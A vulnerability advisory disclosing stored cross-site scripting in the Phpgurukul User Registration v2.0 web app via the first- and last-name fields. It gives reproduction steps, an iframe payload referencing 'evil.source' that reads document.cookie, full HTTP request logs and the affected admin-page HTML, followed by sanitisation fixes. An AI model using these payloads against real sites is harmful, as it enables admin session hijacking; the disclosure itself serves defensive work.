Phpgurukul User Registration v2.0 - Multiple Vulnerabilities

Document Title:
===============
Phpgurukul User Registration v2.0 - Multiple Vulnerabilities 


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2216


Release Date:
=============
2020-04-19


Vulnerability Laboratory ID (VL-ID):
====================================
2216


Common Vulnerability Scoring System:
====================================
5.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
User Registration & Login and User Management System With Admin Panel v2.0.

(Copy of the Homepage: https://phpgurukul.com/?smd_process_download=1&download_id=7003 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple web vulnerabilities in the Phpgurukul User Registration & User Management System v2.0.


Affected Product(s):
====================
Anuj Kumar
Product: User Registration & Login and User Management System With Admin Panel v2.0 (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-04-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Open Authentication (Anonymous Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
Multiple persistent input validation web vulnerabilities has been discovered in the Phpgurukul User Registration & User Management System v2.0.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application 
requests from the application-side.

The persistent cross site web vulnerabilities are located in the `firstname` and `lastname` parameters of the registration form & loginsystem input fields.
Remote attackers are able to register with malicious script code as firstname or lastname to manipulate the `manage-users.php` and `update-profile.php` 
files visible for administrators in the backend. The injection point is the registration or user edit module and the execution occurs on manage-users 
preview or user edits. The request method to inject is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to 
malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Input(s):
[+] firstname
[+] lastname

Vulnerable Module(s):
[+] Registration (Login-System)

Vulnerable Parameter(s):
[+] fname
[+] lname

Affected Module(s):
[+] Manage Users (manage-users.php)
[+] Update User (update-profile.php)


Proof of Concept (PoC):
=======================
The persistent input validation vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the security web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce ...
1. Open the registration formular
2. Inject payload in firstname and lastname values
3. Submit the request via POST method
4. Wait until the admin previews the users listing without any activations
Note: The execution occurs on user edit and in the user management listing
5. On preview the cookie transmits to attacker and he can login with non expired cookie
7. Successful reproduce of the vulnerability!


--- PoC Session Logs (POST) --- (Inject)
https://localhost:8080/project/loginsystem/
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------84460134629716292423840703493
Content-Length: 897
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169; PHPSESSID=92276d293892927eea41e64e19c214a4
fname=test1>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&lname=test2>"<iframe src=evil.source 
onload=alert(document.cookie)></iframe>&[email protected]&password=whoami23&contact=31337317&signup=Sign Up
-
POST: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


PoC: Vulnerable Source (Execution Point - manage-users.php)
<tr>
<td>585</td>
<td>test1&gt;"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></td>
<td>test2&gt;"<iframe src="evil.source" onload="alert(document.cookie)"></iframe></td>
<td>[email protected]</td>
<td>31337317</td><td>2020-04-19</td>
<td>
<a href="update-profile.php?uid=1223"> 
<button class="btn btn-primary btn-xs"><i class="fa fa-pencil"></i></button></a>
<a href="manage-users.php?id=1223"> 
<button class="btn btn-danger btn-xs" onclick="return confirm('Do you really want to delete');"><i class="fa fa-trash-o "></i></button></a>
</td>
</tr>


--- PoC Session Logs (GET) --- (Execution Admin Backend)
https://localhost:8080/project/loginsystem/admin/manage-users.php
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169; PHPSESSID=92276d293892927eea41e64e19c214a4; _gat_gtag_UA_106216538_1=1
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2
-
https://localhost:8080/project/loginsystem/admin/evil.source
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/admin/manage-users.php
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169; PHPSESSID=92276d293892927eea41e64e19c214a4; _gat_gtag_UA_106216538_1=1
Upgrade-Insecure-Requests: 1
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-cache, must-revalidate, max-age=0
link: <https://localhost:8080/wp-json/>; rel="https://api.w.org/"
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


PoC: Vulnerable Source (Execution Point - update-profile.php)
<section class="wrapper">
<h3><i class="fa fa-angle-right"></i> test1>"<iframe src="evil.source" onload="alert(document.cookie)"></iframe>'s Information</h3>
<div class="row">
<div class="col-md-12">
<div class="content-panel">
<p style="color:#F00;" align="center"></p>
<form class="form-horizontal style-form" name="form1" method="post" action="" onsubmit="return valid();">
<p style="color:#F00"></p>
<div class="form-group">
<label class="col-sm-2 col-sm-2 control-label" style="padding-left:40px;">First Name </label>
<div class="col-sm-10">
<input type="text" class="form-control" name="fname" value="test1>" <iframe="evil.source" src="evil.source" onload="alert(document.cookie)">" &gt;
</div>
</div>
<div class="form-group">
<label class="col-sm-2 col-sm-2 control-label" style="padding-left:40px;">Last Ename</label>
<div class="col-sm-10">
<input type="text" class="form-control" name="lname" value="test2>" <iframe="evil.source" src=evil.source" onload="alert(document.cookie)">" &gt;
</div>
</div>


--- PoC Session Logs [POST] ---
https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
Origin: https://localhost:8080
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169; PHPSESSID=92276d293892927eea41e64e19c214a4
fname=hello>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&lname=world>"<iframe src=evil.source onload=alert(document.cookie)></iframe>&[email protected]&contact=2020-04-06,2020-03-06&Submit=Update
-
POST: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-store, no-cache, must-revalidate
pragma: no-cache
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2
-
https://localhost:8080/project/loginsystem/admin/evil.source
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://localhost:8080/project/loginsystem/admin/update-profile.php?uid=574
Cookie: _ga=GA1.2.399488116.1587293169; _gid=GA1.2.865518164.1587293169; PHPSESSID=92276d293892927eea41e64e19c214a4
-
GET: HTTP/2.0 200 OK
server: Apache
x-powered-by: PHP/7.2.21
cache-control: no-cache, must-revalidate, max-age=0
link: <https://localhost:8080/wp-json/>; rel="https://api.w.org/"
content-encoding: gzip
vary: Accept-Encoding,User-Agent
content-type: text/html; charset=UTF-8
X-Firefox-Spdy: h2


Reference(s):
https://localhost:8080/project/
https://localhost:8080/project/loginsystem/
https://localhost:8080/project/loginsystem/admin/
https://localhost:8080/project/loginsystem/admin/manage-users.php
https://localhost:8080/project/loginsystem/admin/update-profile.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched following the next steps ...
1. Parse and sanitize the fname and lname parameters in the registration request
2. Restrict the input and registration process using special chars and other malformed contents
3. Sanitize the output in the update-profile.php and manage-users.php file location


Security Risk:
==============
The security risk of the persistent input validation web vulnerabilities in the web-application are estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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